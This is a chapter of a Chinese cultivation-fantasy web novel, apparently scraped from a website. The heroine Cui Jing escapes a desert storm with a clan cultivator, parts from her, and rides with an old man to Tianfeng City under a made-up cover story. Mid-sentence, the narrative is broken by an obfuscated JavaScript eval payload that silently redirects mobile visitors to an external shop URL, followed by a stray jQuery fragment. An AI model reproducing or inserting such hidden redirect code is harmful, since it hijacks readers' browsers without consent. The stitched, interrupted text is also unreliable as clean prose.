数月后,大漠边缘,黄沙漫天,两道倩影在大漠中快速向边境移动,就在她们不远处,一道黑色龙卷风正朝着她们的方向席卷而来。
崔璟和叶姓女子在大漠一连晃了数月之久,所幸最后成功采到三株肉苡蓉,倒也算不虚此行。
只是临了却又遇见那该死的沙漠风暴,崔璟都忍不住骂娘了。
“苏姐姐,若你还有些什么保命的手段,都拿出来吧。否则今日咱们只怕都要交待在这里了。”
叶姓女子抱着白色小鼠,一面向前快速逃窜,一面喘着粗气对着崔璟开口道。
崔璟亦是全力催动法力向前狂奔而去,呼吸紧促,对着叶姓女子一脸苦笑道:“珊儿妹妹,姐姐只是一介散修,论身家,如何能与你这般的家族修士相比。妹妹身上说不定就有族中筑基期前辈赐下的宝物,妹妹先前所言,怕不是在笑话姐姐吧。”
同伴数月,崔璟知道了叶姓女子是出自越国乌蒙山的修仙家族,族中甚至有筑基期的存在。
“苏姐姐说笑了,姐姐当初既然能在沙漠风暴中逃生,想来除了法力深厚之外,必然还有厉害的宝器护身才是。”
叶姓女子大口喘着气,惨白的脸上,露出一个渗人的笑容。
崔璟仍是苦笑连连,声称自己身家浅薄,绝不言其他。
随后自储物袋里取出一块灵石紧紧握在手里,逃命的同时,亦不忘补充自身的消耗。
她对叶姓女子所说的,也不全然都是假话。眼下,她还真没有什么符箓亦或是宝物能够应对眼下这种情况。
况且,当日她全然能逃出风暴,全然是几分运气使然,毕竟紫蕴珠是不会改变原来的位置的,若非最后那风暴改了道,兴许她就被掀起的黄沙掩埋,只能含恨而终。
见试探不出什么,那叶姓女子眉头微蹙,不禁也有些自我怀疑,莫非是她打错了主意,这苏青凰当真只是一介散修?
想到这里,叶姓女子也有些惊疑不定,犹豫是否要动用祖父赐下的保命之物。
随着那黑色龙卷风愈来愈近,黄沙漫天,扬起一阵尘埃,就连天地也黯然失色,仿佛被蒙上了一层半透明的薄纱。
压力逐渐给到崔璟二人,那叶姓女子一个激灵,心中忍不住叹了口气。
罢了,罢了,权当做是她多吃些亏罢。
于是对着身侧的崔璟道:“苏姐姐,我突然想起来储物袋里还有一张高阶遁地符,你靠近些,待我催动此符。”
崔璟大喜过望,连忙应下,又许诺道:“叶妹妹放心,姐姐必不会让你吃亏,平白损失宝物……”
叶姓女子快速取出一张黄色符箓,待崔璟靠近后,果断催动了此符,只是灵光一闪,两人化作一道光芒在空中散开。
崔璟感觉一阵天旋地转,只是一眨眼的功夫,然后就跟叶姓女修出现在十数丈外。
只是转瞬间,两人就回过神,然后一路狂奔,一直到一处茂密的山林里才停下脚步。
崔璟按着微微起伏的胸口,长舒了一口气。
周遭郁郁葱葱的树木与湿润的泥土气息,无一不在提醒她,她们终于彻底摆脱了黑烟沙漠的死局。
她缓缓收回握着灵石的手,转头看向身侧气喘吁吁的叶姓女子,眼中恰到好处地流露出几分惊魂未定与感激。
“今日全靠珊儿妹妹了,若非有妹妹的高阶符箓,姐姐只怕已经葬身在那风暴中了。”
“苏姐姐不必多礼,你我姐妹既一同寻那肉苡蓉,自然同甘共苦,福祸相依。”
叶姓女修脸色发苦,显然还肉疼那张土遁符呢。
崔璟以前也有遁地符,不过距离完全不能与叶姓女子这张相提并论,想来价值必然不菲。
她略思索了片刻后,自储物袋里取出当初自那狼妖身上所得的妖兽材料递给叶姓女修,“叶妹妹,姐姐并非不知感恩之人。这符箓价值不菲,断没有让你白白损失的道理。这是早年里我同诸位道友联手击杀了一头狼妖后所分到的,还望妹妹收下。”
闻听此言,叶姓女子眼睛一亮。
“不想苏姐姐还有这样的好东西,妹妹正巧在研习符箓一道,这些东西对小妹帮助不小,既然姐姐相赠,小妹就却之不恭了。”
叶姓女子笑眯眯地将那叠狼妖皮毛与兽骨收入储物袋,看向崔璟的目光变得愈发亲热。
拿到了实打实的好处,倒也让她好受了不少。虽然这些东西还是远远不能与她的符箓相提并论。
与此同时,叶姓女修取出一只玉盒递给了崔璟,“这是姐姐的那份肉苡蓉。”
看着玉盒,崔璟却默默摇了摇头,“若非有妹妹的宝物,我焉还有命在,现在来分这肉苡蓉,我又成什么人了。”
叶姓女修爽朗地笑了笑,将玉盒递到了崔璟面前,“这肉苡蓉,是我与苏姐姐先前就约定好的。况且,那遁地符,姐姐已然补偿过小妹了,姐姐收下就是。”
崔璟本还还想推辞,只是叶姓女修态度坚决,几次推搡才收下了玉盒。
须臾,两人又打坐休养了片刻。
待体内法力恢复,叶姓女修去意已决,离去前,将一道传讯符留给了崔璟。
“苏姐姐日后若来了乌蒙山,必然要同小妹联系,教小妹尽一尽地主之谊。”
送出传讯符后,叶姓女修祭出两张神行符,一眨眼就消失在崔璟眼前,崔璟一直目送她走远后,才缓缓消失在密林中。
自从与叶姓女修分别后,崔璟在山中休养了数日,直至将身体状态调整到巅峰后,才去寻那下山的路。
崔璟行至一处山谷时,见谷中开满了橘黄色的山花,蜂蝶流连忘返。
她看的有些入神了,一时竟觉的格外有野趣。
于是,她采摘了一些颜色鲜艳的山花,将其编成一个漂亮的花环戴在鬓上,然后又拿出一面子镜子照了照。
看着镜中的身影,不由得露出几分小女儿家的姿态来。
崔璟坐在草地上,看着山花漫烂,鼻尖传来一阵清风送来的花香,心境格外空灵,自她踏上修行一途,似乎已经很久没有这样开怀过了。
她又享受了片刻的恬静舒适,才收拾好东西,继续上路。
一直到次日,崔璟才堪堪从这大山里挣脱出来,只是当她看到下首那蜿蜒不绝的山路时,再次傻眼了。
就当她为着往哪边走而为难时,面色却突然一喜,原来是一个小黑点正慢悠悠地朝着自己的方向靠近。
定眼望去,只见一个身着布衣的老叟,正驱赶着一头青牛拉着一辆无蓬木板车穿梭在羊肠小道上。
见此,崔璟灵机一动,匆匆戴上帷帽,散了发髻,又往衣裙上扬了一把尘土,这才一路小跑,向前方驱着牛车的布衣老叟大喊道:“老丈留步,老丈留步……”
她边跑边喊,很快就追上了老叟。
听到崔璟的声音,布衣老叟停下了脚步,回首刚好看到了向他小跑过来的崔璟。
他用狐疑地目光将崔璟打量了一番,心道这荒郊野岭的,怎么会突然冒出个年轻女子来?还这般狼狈。
见老叟一直盯着她看,崔璟深深吐出一口浊气,紧跟着就福了一礼,“老丈,妾身有礼了。”
老叟见崔璟不似本地口音,心中遂生出一丝防备,揖了一礼后,淡淡道:“娘子有礼,不知娘子唤老朽,所为何事?”
崔璟露出一脸难色,又硬生生挤出几滴眼泪来,“实不相瞒老丈,妾身与外子本是探访友人,只是初临贵宝地,因不识路况,妾身不慎与外子走散,不知贵宝地附近可有城镇?想来外子必然在附近城镇,还望老丈指点一二,妾身感激不尽。”
崔璟今年已经十七,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912260|213165||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
按常理,已然是嫁做人妇的年纪,未免那老叟生疑,遂如此自圆其说。
听了这话,老叟见崔璟言辞恳切,一身狼狈,全然不似作假,面色也就缓了几分。
思虑再三后,他才开口道:“竟是如此,这方圆百里只有一座天峰城,想来尊夫应是往此处去了。此地距离天峰城不足十里,正巧老朽要前往天峰城,娘子如若不嫌弃,就请上车吧。”
崔璟立即就露出一抹欣喜,“那就多谢老丈了。”
她原就打算跟着这老叟,既然他主动相邀,自然省却了她一番功夫,若是能再打听点什么消息,就更好了。
上车后,两人相顾无言,就在崔璟不知如何开口时,那老叟却有意无意地问了一句:“听娘子的口音,不似此方人呐。”
崔璟在心中一惊,怪道这老丈方才那般看着她,没想到纰漏却是出在这里。
想通了缘由,她沉吟了一声后,点了点头,“妾身的确不是越国人,不知老丈可曾听过晋国?”
老叟怔了怔,半晌没说出话来。
他倒吸一口凉气:“不想娘子竟来自晋地?贤伉俪与旧友竟相隔如此之远?”
晋国距离此地足足数千里有余,也不怪他这般神色。
话刚说出口,老叟就有些后悔,如他这般肆意打探别人隐秘,多少还是有些无礼。
崔璟暗自一喜,真可谓是瞌睡来了就有人递枕头,她正愁不知该如何打探天峰城修仙者的事情,这老叟立马就凑了上来。
于是眼珠一转,然后道:“不瞒老丈,此事说来话长,妾身本是晋国嵊州人。数月前,妾身与外子原本是跟着商会的车队前往青槐城访友的。只是途径那黄风岭的时候,不幸遭了马贼,妾身因此跟外子失散。后来又在那大漠里遭遇了沙漠风暴,若非有一位途径此处的仙子搭救,妾身兴许已然没了性命。那位仙子将妾身带至此处后就不见了踪影,这才遇见老丈,是非妾身故意隐瞒,还请老丈莫怪。”
闻言,老叟连连摆手,表示理解崔璟的行为,“出门在外,娘子又是弱女子,小心些也是人之常情。”
“只是娘子口中的仙子,可是能够飞天遁地的仙人?不想娘子有这般福分在身上,危难之时竟得仙人相助。”
说到此处,那老叟亦是连声惊叹。
崔璟不动声色,面上却露出一抹惊讶来,“老丈怎知那位仙子是踩着一把飞剑的。”
老叟摸着下巴的山羊胡子,笑了笑,“不瞒娘子,我们天峰城里就住了不少仙人,老朽虽不如娘子福缘深厚,早年却也得了些机缘,也曾远远地瞧上一眼仙人。”
听了这话,崔璟就更纳罕了。
似乎是察觉到崔璟的神色,他才慢悠悠解释:“娘子有所不知,这天峰城分为了内外两城。仙人们大多都是居住在内城中,鲜有愿意在外城定居生活的。在外城,更多的只是我等凡夫罢。”
听完老叟的话,崔璟默了默,大致弄明白了天峰城的现状。
这天峰城应当是修士和凡人混居,大多数普通人虽然知道有修士的存在,不过却并不在一处。
一路上,崔璟继续旁敲侧击关于仙人的事,只是大抵这老叟并不常来天峰城,因此知道的也并不多。
见问不出什么,崔璟也只能偃旗息鼓,有一句没一句地跟老叟拉起家常来。
说话间,两人不一会儿就来到了天峰城的城门。
巍峨雄壮的城门高耸入云,青石砖砌的城墙上錾着精美的花纹,城楼四角的飞檐上,还匍匐着几种不知种类的小兽。
透过城门向里面望去,熙熙攘攘的人群,车辆穿行其间,人声鼎沸,来往商贩络绎不绝,比之嵊州,还要热闹三分。
因为修士控制的国度,越国是没有户籍制度的,因此站在门口的守卫,大多是起到象征意义的作用。